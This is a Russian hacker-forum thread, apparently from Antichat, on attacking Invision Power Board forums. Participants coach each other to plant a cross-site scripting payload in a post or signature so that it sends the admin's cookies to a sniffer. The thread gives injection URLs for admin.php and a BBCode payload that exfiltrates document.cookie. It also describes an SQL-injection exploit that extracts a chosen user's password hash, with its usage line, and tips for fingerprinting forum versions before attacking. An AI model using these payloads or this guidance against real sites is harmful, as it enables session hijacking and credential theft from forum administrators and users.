Уязвимости: Invision Power Board (IPB)

[Winux]

XSS в IPB by White Jordan

Суть баги заключается во вложенных тегах. Взлом можно осуществить только в том случае если админ пользуется ослом. В мозилле и Опере баг работать не будет (т.е. на нас можно не пробовать)

Тут можно полицезреть XSS код, который необходим для взлома.

Способов устранения уязвимости пока нет. Бага присутствует во всех версиях, включая всю динейку 2.1.х

 

[Ushiro]

поясните плиз как юзать ее

 

[Winux]

Это обычный XSS. Крадет Кукисы на сниффер античата. Употреби его в подписи или в посте и привлеки туда внимание админа. Потом вали на античат смотреть его кук.

 

[Ushiro]

Употребил в посте. Где именно на античате смотреть? :baby:

 

[Winux]

В сниффере. Надеюсь постил с осла? Если админ на осле, значит скоро будет кук.

 

[Ushiro]

Где на античате сниффер?

 

[Winux]

Ushiro
Блина, ты слепой? Снизу в правом углу.
Если лень искать - вот лог сниффера.

 

[Winux]

XSS в IPB 2.1

Уязвимость позволяет удаленному пользователю совершать XSS комманды на машине.
Пример:

http://localhost/2p1p0b3/upload/admin.php?adsess=[xss]&act=login&code=login-complete
http://localhost/2p1p0b3/upload/admin.php?adsess=[id]&section=content&act=forum&code=new&name=[xss]
http://localhost/2p1p0b3/upload/admin.php?name=[xss]&description=[xss]

 

[Polas]

XSS в IPB 2.1

Уязвимость позволяет удаленному пользователю совершать XSS комманды на машине.
Пример:

http://localhost/2p1p0b3/upload/admin.php?adsess=[xss]&act=login&code=login-complete
http://localhost/2p1p0b3/upload/admin.php?adsess=[id]&section=content&act=forum&code=new&name=[xss]
http://localhost/2p1p0b3/upload/admin.php?name=[xss]&description=[xss]

Самая последняя версия 2.1.2 сам ставил, там эта ерунда не пашет!!

 

[Winux]

Polas
Щас 2.1.3 уже есть.

 

[Polas]

Polas
Щас 2.1.3 уже есть.

Не знаю, я обновляю тока тогда когда в админке пишут про новую версию!

 

[kidnder surpsise]

А поподробнее можно?что делает эта программа!точнее что такое XSS я думаю я не один такой кто не знает!

 

[Polas]

А поподробнее можно?что делает эта программа!точнее что такое XSS я думаю я не один такой кто не знает!

XSS - это технология межсайтового скриптинга!

 

[Great]

А поподробнее можно?что делает эта программа!точнее что такое XSS я думаю я не один такой кто не знает!

Ну ты блин даешь...
XSS=CSS=Cross Site Scripting

 

[Polas]

А поподробнее можно?что делает эта программа!точнее что такое XSS я думаю я не один такой кто не знает!

Ну ты блин даешь...
XSS=CSS=Cross Site Scripting

Ну да, я это и сказал - межсайтовый скриптинг!

 

[Axion]

Дайте экплойд для версии 1.3 плиз

 

[shashek]

Догадываюсь я чтьо так не должно быть но употр**ляю это и оно просто пишется но не скрывается кстати пишу через ie да вот еще что форум версии 2.0.0 может у них теги отключены или еще что?? как вставить админ точно пользуется ie сам видел

 

[..o.o]

XSS 2.1.9

[IMG][COLOR=onerror='img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie']y[/IMG]'

 

[Great]

SQL-Injection в Invision Power Board
Уязвимые версии: все
Степень опасности: высокая
Описание:
Возможен посимвольный перебор в базе данных пользователей. С чем успешно справляется эксплоит, выдавая хеш заданного пользователя.

Эксплоит: (полностью рабочий)
Прим. Great - сплоит на securitylab.ru немного корявый, поэтому я его доработал. Использовать так:
exploit.pl http://www.victim.org/path MEMBER_ID FORUM_VERSION LANGUAGE
MEMBER_ID - ид пользователя
FORUM_VERSION - 1/2 - версия форума
LANGUAGE - eng/rus - язык форума
Сплоит в процессе перебора строит график, по которому можно следить за самим процессом. (Язык форума и график - добавлено мной)
Производитель: :zns2: Invision Board
Источник: SecurityLab

 

[Winux]

Определение версии форума
Меня часто спрашивают: как определить версию форума, если админ снял копирайты. Если кишка тонка отличить по внешнему виду, то ответ найти легко.

1.3
присутсвует папки:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php

2.0.*
Присутствуют файлы:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden

2.1.*
Присутсвуют папка
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden